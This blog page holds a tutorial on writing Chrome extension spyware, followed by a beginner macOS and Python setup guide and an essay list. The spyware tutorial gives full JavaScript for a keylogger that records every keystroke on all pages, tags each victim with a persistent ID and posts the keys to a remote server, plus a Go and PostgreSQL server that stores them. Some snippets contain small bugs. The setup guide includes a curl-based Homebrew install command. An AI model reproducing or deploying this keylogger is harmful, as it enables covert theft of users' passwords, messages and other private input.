We are going to start by creating an event listener for when a user types. Javascript has three event listeners for when a user interacts with their keyboard; `onkeydown`, `onkeyup`, and `onkeypress`. There is a more formal definition of the difference on [Stack Overflow](https://stackoverflow.com/questions/3396754/onkeypress-vs-onkeyup-and-onkeydown), but I try to summarize a more practical version.

- `onkeydown` gets almost every keystroke, every non-input keys such as `shift`, `alt`, `control`. However, `onkeydown` can not tell the case of the keystroke. It is triggered when the key is first pressed down. It also catches multiple keystrokes if a user holds down the key.
- `onkeyup` also gets almost every keystroke including non-input keys and also cannot detect the case of the keystrokes. The only practical difference from `onkeydown` is that it triggered once the key is released, so it does not catch keystrokes caused by holding down a key.
- `onkeypress` triggers when the key is pressed down, just like `onkeydown`. Like `onkeyup`, it does not detect when a user holds down a key. It is the only event that can detect the case of keystroke, but it is the only event that cannot detect button presses that are non-input.

We are creating our extension to be simple but effective as possible. Because character case is more valuable for our spyware than non-input keystrokes, we start our keylogger by using `onkeypress`. We are going to set the event to trigger an anonymous function, then log the key.

```javascript
document.onkeypress = (evt) => {
  let letter = String.fromCharCode(evt.keyCode);
  console.log(letter);
};
```

Now that the extension is “logging” all of a users keystroke on every page, it needs to send the keys to a remote server. We can do this by making a simple post request with a few lines of javascript to a server.

```javascript
document.onkeypress = (evt) => {
  let letter = String.fromCharCode(evt.keyCode);

  let xhr = new window.XMLHttpRequest();
  xhr.open("POST", "https://netflix.719ben.com/", true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send(`letter=${letter}`);
};
```

We could stop there, the extension would send every keystroke any user of our extension made, but we can make a few changes that make it much more effective and efficient. We want to be able to tell the difference between each user that uses the extension, so we generate an (almost always) unique id for each one. We can use `window.crypto` to generate a random string and put it into an `int8` array that has 32 elements. Then convert the random array to a hexadecimal string.

```javascript
const getRandomToken = () => {
  let randomPool = new Uint8Array(32);
  window.crypto.getRandomValues(randomPool);
  let hexToken = "";
  for (let i = 0; i < randomPool.length; ++i) {
    hex += randomPool[i].toString(16);
  }
  return hexToken;
};
```

We want to be able to generate this token once and then store it so we can keep track of a user over time. To do this, the [chrome.storage](https://developer.chrome.com/extensions/storage) API is needed. We can use the API to save an ID for every computer which our extension is on. We are first going to check if we have an ID already stored, creating one if we do not.

```javascript
window.chrome.storage.local.get("userId", (items) => {
  let userId = items.userId;

  if (userId === undefined) {
    userId = getRandomToken();
    window.chrome.storage.local.set({ userId: newId });
  }
});
```

Now that we have a way to generate new Ids for all browsers using the extension, we need to start sending those Ids to the server. This will only require a few small changes.

```javascript
document.onkeypress = (evt) => {
  let letter = String.fromCharCode(evt.keyCode);
  let userId = null;

  window.chrome.storage.local.get("userId", (items) => {
    userId = items.userId;
    if (userId === undefined) {
      userId = getRandomToken();
      window.chrome.storage.local.set({ userId: userId });
    }
  });

  let xhr = new window.XMLHttpRequest();
  xhr.open("POST", "https://netflix.719ben.com/", true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send(`userId=${userId}&letter=${letter}`);
};
```

We are going to make one final addition to our spyware, a buffer. A request every keystroke is a little unnecessary considering [most people type at least 40 WPM](https://en.wikipedia.org/wiki/Words_per_minute). We already have set up a way to store things in Chrome, which will make a great place for us to store keystroke to be sent in groups. So we are going to add a simple buffer that only sends a request to our server every 20 keystrokes and store keystrokes in Chrome until 20 are queued.

```javascript
document.onkeypress = (evt) => {
  let letter = String.fromCharCode(evt.keyCode);
  let userId = null;

  window.chrome.storage.local.get("userId", (items) => {
    userId = items.userId;
    if (userId === undefined) {
      userId = getRandomToken();
      window.chrome.storage.local.set({ userId: userId });
    }
  });

  window.chrome.storage.local.get("letterArray", (items) => {
    let letterArray = items.letterArray;
    if (letterArray === undefined) {
      letterArray = "";
    }

    letterArray += letter;

    if (letterArray.length > 19) {
      let xhr = new window.XMLHttpRequest();
      xhr.open("POST", "https://netflix.719ben.com/", true);
      xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      xhr.send(`userId=${userId}&letters=${letterArray}`);
      // clear the array
      letterArray = "";
    }
    window.chrome.storage.local.set({ letterArray: letterArray });
  });
};

const getRandomToken = () => {
  let randomPool = new Uint8Array(32);
  window.crypto.getRandomValues(randomPool);
  let hex = "";
  for (let i = 0; i < randomPool.length; ++i) {
    hex += randomPool[i].toString(16);
  }
  return hex;
};
```

Now we have a fulling functioning chrome extension that sends users to Netflix when they click a button and sends a server all the user’s keystrokes inside of Netflix, along with other websites they visit.

### Icons

I used PhotoShop to generate the icons used in the extension. View the icons, along with the rest of the code, in the [Github repo](https://github.com/719Ben/chrome-spyware).

## Server

Now that we have a fully functioning client sending data to a random server, we need to create a server. We are going to be creating a straightforward server in Go that parses our request and inserts the `id` and character list into a database. First, install [Go](https://golang.org/doc/install), [go-pg/pg](https://github.com/go-pg/pg), and [PostgreSQL](https://wiki.postgresql.org/wiki/Detailed_installation_guides). Next, we write a single HTTP Handler that parses the input that we defined in the Client. Since the Client does not care about a response, we won’t bother returning one.

```go
package main

import (
  "log"
  "net/http"
)

func spywareHandler(w http.ResponseWriter, r *http.Request) {
  userId := r.FormValue("userId")
  letters := r.FormValue("letters")
  log.Println(userId, letters)
}

func main() {
  http.HandleFunc("/", spywareHandler)
  http.ListenAndServe(":8000", nil)
}
```

Now that we have our data, we want to start sending it to the PostgreSQL database. We are going to be using the [go-pg/pg](https://github.com/go-pg/pg) ORM package to connect to our database. To configure our database variables, we are going to use an environment variable.

```bash
export DATABASE_URL="postgres://postgres:@localhost:5432/chrome_spyware"
```

`go-pg/pg` doesn’t have a built in function to handle database strings, so we need to write our own. The function gets environment variable, parse the database string, connect to the database, and return the connection.

```go
func createDB() *pg.DB {
  url := os.Getenv("DATABASE_URL")
  url = strings.TrimPrefix(url, "postgres://")

  dbAt := strings.LastIndex(url, "/") + 1
  database := url[dbAt:]
  url = url[:dbAt-1]

  authAndHost := strings.Split(url, "@")
  auth := strings.Split(authAndHost[0], ":")
  username := auth[0]
  password := auth[1]
  hostAndPort := authAndHost[1]

  db := pg.Connect(&pg.Options{
    User:     username,
    Password: password,
    Database: database,
    Addr:     hostAndPort,
  })

  return db
}
```

Since `go-pg/pg` is an ORM, we want to create an object to represent each set of data we get from a client.

```go
type Event struct {
  UserId  string
  Letters   string
  Timestamp time.Time
}
```

The final thing we need to do is add the data to our database. Since we are using an ORM, it is only a few lines of code. One of the last important things is to make the database connection global so that there is only one connection. Then we put all out parts together to get our full server.

```go
package main

import (
  "github.com/go-pg/pg"
  "log"
  "net/http"
  "os"
  "strings"
  "time"
)

var DBConnection *pg.DB

type Event struct {
  UserId  string
  Letters   string
  Timestamp time.Time
}

func createDB() *pg.DB {
  url := os.Getenv("DATABASE_URL")
  url = strings.TrimPrefix(url, "postgres://")

  dbAt := strings.LastIndex(url, "/") + 1
  database := url[dbAt:]
  url = url[:dbAt-1]

  authAndHost := strings.Split(url, "@")
  auth := strings.Split(authAndHost[0], ":")
  username := auth[0]
  password := auth[1]
  hostAndPort := authAndHost[1]

  db := pg.Connect(&pg.Options{
    User:     username,
    Password: password,
    Database: database,
    Addr:     hostAndPort,
  })

  return db
}

func spywareHandler(w http.ResponseWriter, r *http.Request) {
  userId := r.FormValue("userId")
  letters := r.FormValue("letters")
  event := &Event{userId, letters, time.Now()}

  inErr := DBConnection.Insert(event)
  if inErr != nil {
    log.Println(inErr)
    return
  }
}

func main() {
  DBConnection = createDB()
  http.HandleFunc("/", spywareHandler)
  http.ListenAndServe(":8000", nil)
}
```

Now we have a fully functioning server to receive and store all the keystrokes that clients send. We need to create a SQL database that matches, which should be very easy since we only have one table `events`.

```sql
CREATE TABLE events (
  userId text,
  letters text,
  "timestamp" timestamp with time zone
);
```

After we get the database set up, we are done! We can now run our server locally or upload it to [Heroku](http://heroku.com/) without any trouble.

## Conclusion

There we have it, a client and server for our custom spyware. Even though we have a new extension ready for upload the Chrome Extension Store, uploading it would violate the [terms of service](https://developer.chrome.com/webstore/terms#review). While I chose to focus on writing spyware for a Google Chrome Extension, the ease of which we wrote it is not exclusive to Chrome Extensions. It would be equally as easy to write spyware into extensions of almost every modern day program.

View code on [Github](https://github.com/biw/chrome-spyware).

If you see any errors, please make a [pull request](https://github.com/biw/chrome-spyware) or let me know on [twitter](https://twitter.com/biwills), I would love to fix them!



> This guide is designed for users on MacOS

## Intro

Before we get started, lets make sure you understand what we will and won't be working on.

Tech writers love to write about the ["best"](https://www.sitepoint.com/whats-best-programming-language-learn-2016/) [programing](http://lifehacker.com/which-programming-language-should-i-learn-first-1477153665) [language](http://www.codingdojo.com/blog/9-most-in-demand-programming-languages-of-2016/) [to](https://www.codementor.io/learn-programming/beginner-programming-language-job-salary-community) [learn](http://makeawebsitehub.com/which-programming-language/), but the truth is, it doesn't matter. Learning a programing language is **NOT** like learning a spoken language. Almost all programming languages share the same mental model, the most important thing to learn is ideas shared across the languages. A lot of beginners get caught up in the "best" language. Don't worry about it. As you learn more you will find out which ones are best for the situation. Worry less about "best" and more about understanding the concepts behind one.

In this tutorial, we will be looking at some of the very basic ideas in computer science using Python but will also look at the tools behind working with code and programing.

**Why Python?**
Python has simple syntax, a large and supportive community, and lets us understand the ideas of computer science without getting caught up with language details. There may be some example where other programming languages will be mentioned or shown, but we will explain that later. Again, there is no "best" language, we just have to start somewhere.

## Setup

Before we get started writing our first line(s) of code, there are some things that we need to go over.

### The Command Line

The Command Line is the fastest way to give text commands to your computer. Later when I say run a command (ex: run `echo "hello"`), it means to type it into the command line. It can do a lot but we are going to keep to the basics.

![MacOS terminal](/cs0/images/terminal.png)

On MacOS the command line is called Terminal and can be opened by searching for `terminal` or opening it in the `Applications/Utilities` folder. You should get a window like the one above. This is a `bash` shell, these are the same shells as `UNIX`. If you don't know what that is, don't worry. Some basic but important commands for Terminal are:

#### `cd` - Change directory `cd [directory]`

All directories on MacOS are separated by a forward slash `/`, your Desktop folder is located at `/Users/[username]/Desktop` and MacOS system files are located at `/System`. It is important to know that MacOS is case sensitive meaning `/folder` is not the same folder as `/Folder`. If you need to access a folder with spaces in it make sure to put the folder name is quotes, ex: `cd "folder 1"`. Go ahead and try to navigate to Desktop folder. You can navigate to the directory above the one you are in by using two periods, ex: `cd ..`.

#### `ls` - List files in a folder `ls`

To look at the files or children folders in a directory, type out the `ls` command. This will help you navigate around the file system of your computer. When running `ls`, `.` is your current folder, and `..` is the parent folder of the current folder.

#### `mkdir` - Create a new folder `mkdir [folder name]`

All folder in MacOS (and `UNIX`) have a hierarchy file structure, everything up to the root folder `/` has a parent folder. `mkdir` creates a new folder as a child element of the folder it was run in.

We will get into some more commands for the `bash` shell that we access using Terminal later, so don't worry if you feel a little lost. It is okay to Google are reference this and other online docs often.

#### Homebrew

On MacOS there are numerous ways to install software, while most graphic applications use the App Store or disk images `.dmg`. Homebrew is a great too that can be used to install software packages without having to download disk images and run scripts. We can install packages using `brew install [package name]`. We will use this later to install python. You can install Homebrew by running the following:

```bash
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
```

in the terminal prompt. Find more instructions at [brew.sh](http://brew.sh). You can then update packages by running `brew update`.

Lets give it a try with the `cowsay` package. `cowsay` is a fun command line package that shows a text based cow with the words you enter. To start you need to install cowsay, lets use our newly installed brew to do this.

```bash
brew install cowsay
```

Now that we have cowsay lets try it out! Enter the command

```bash
cowsay "hi"
```

You should get a window like the one below.

![cowsay on OSX](/cs0/images/cowsay_osx.png)

</div>

### Text Editors

While we can run text editors on the command line like `Emacs` or `Vim`, they have a learning curve of their own. We are going to use a text editor application. There are a few options out there for text editors like `VM Code` or `Sublime`, the one I recommend most is `Atom`, which is maintained by Github (which we will talk about soon).

#### Atom

![atom on MacOS](/cs0/images/atom.png)

While Atom is simple to use, it has lots of extensions that can be added to it. We won't get into those right now, but there is a lot of material on Google about them. One important think to do is save all your file with an extension on them, we will talk more about this later. You can install it for MacOS & Windows at [atom.io](https://atom.io/).

This is where we will be writing all of our code. Try and create a `test.txt` file and save it to your Desktop. We will start our coding in this soon.

### Python

Now that we have our text editor and our command line set up, it is time to install Python. There are two versions of Python right now, `python 3.5` or `python 2.7`. Python 3.5 is the newest version. 2.7 is kept around due to compatibility issues. Make sure you install python 3.5, there are code breaking differences.

![python on MacOS](/cs0/images/python3_osx.png)

If you are using MacOS and installed Homebrew earlier, you can use `brew install python3`. If it doesn't show up when you type `python3` into the command line, run `brew link python3` to link the python files to the command line (don't worry about the details of this). You can test that python3 is working by typing `python3` into Terminal. If you get the output above, we are ready to move on. Do not close the Terminal window, we are going to use it.

#### Interactive Shell

You are now in the python interactive shell. You can tell it is in the shell by looking at `>>>` before your cursor. The interactive shell lets you run python code, line by line. The commands we used earlier like `cd` and `mkdir` will not work. In order to exit the interactive shell, type `exit()`. Go ahead and run `exit()`. We aren't going to use the interactive shell but it is an important thing to know about.

### Google & Stack Overflow

![Google Search](/cs0/images/google_search.png)

Programming is a skill that requires a lot of research. You need to be able to look things up and continuously increase your understanding. Even the best engineers in the world need to look things up. Don't be afraid to Google anything you don't understand. While Wikipedia can be great for learning the basics of other topics, it isn't the best place to look up programing info. A lot of the information is about the theory of the underlying idea. While this is great if you are taking Computer Science theory classes, it is unneeded to learn how to program.

[Stack Overflow](https://stackoverflow.com/) is a great place to look up explanations to problems you may run into. You should create an account so you can keep track of things you have found. Try to search for a question before you post. Stack Overflow is know to be harsh to new users because they are known to repeat questions. Try not to let it discourage you if they are rude, it happens to most people. While they have a search tool on the site, it is usually best to search on Google and click the first Stack Overflow link.

**Remember to run things for Python 3.x, not Python 2.x, they are not the same!**

## Writing your first lines of code

The time has come for us to write your first lines of code. They are going to be simple but should test that your machine is set up.

Open up Atom and save a file on your Desktop named `first_code.py`. Make sure to have the `.py` extension, it does matter. We are going to run our first Python script that checks what version of Python we are running. Lets type the following:

```python
import sys

print("hello, we are running " + sys.version)
```

`import sys` tell python to include the system library into the code. This lets us use code that others have written in our program. `print()`, is a function (we will go over those next, don't worry) that prints to the command line anything we put in it. So `print("We are running python " + sys.version)` prints out "We are running python" and `sys.version` which is the value of the version of python (We will go over how it has values). If you are a little lost, don't worry! We will get more into all of this as we go, just worry about it working for now.

![First code on MacOS](/cs0/images/osx_first_code.png)

In order to run this, we need to save the file and go to the Desktop `cd /Users/[username]/Desktop` in Terminal. Now that we are on the Desktop, we can run the file we have written. `python3 first_code.py` should run and give us the above result (If it is a higher or slightly lower version of Python, don't worry):

## Conclusion

Nice job! You have the tools & setup ready to program. See [codecademy.com](https://www.codecademy.com/) for more learning resources.


Ben I Williams

Essays

Flower Company - The Costco of Cannabis

43 YC Winter 2019 Batch Companies To Watch

Use Closures not Classes

Better Dependency Trees in React Apps

Lets Talk About Nvidia

Not Every Project Needs to be a Business

Writing Spyware Made Easy

CS 0: Tools & Set Up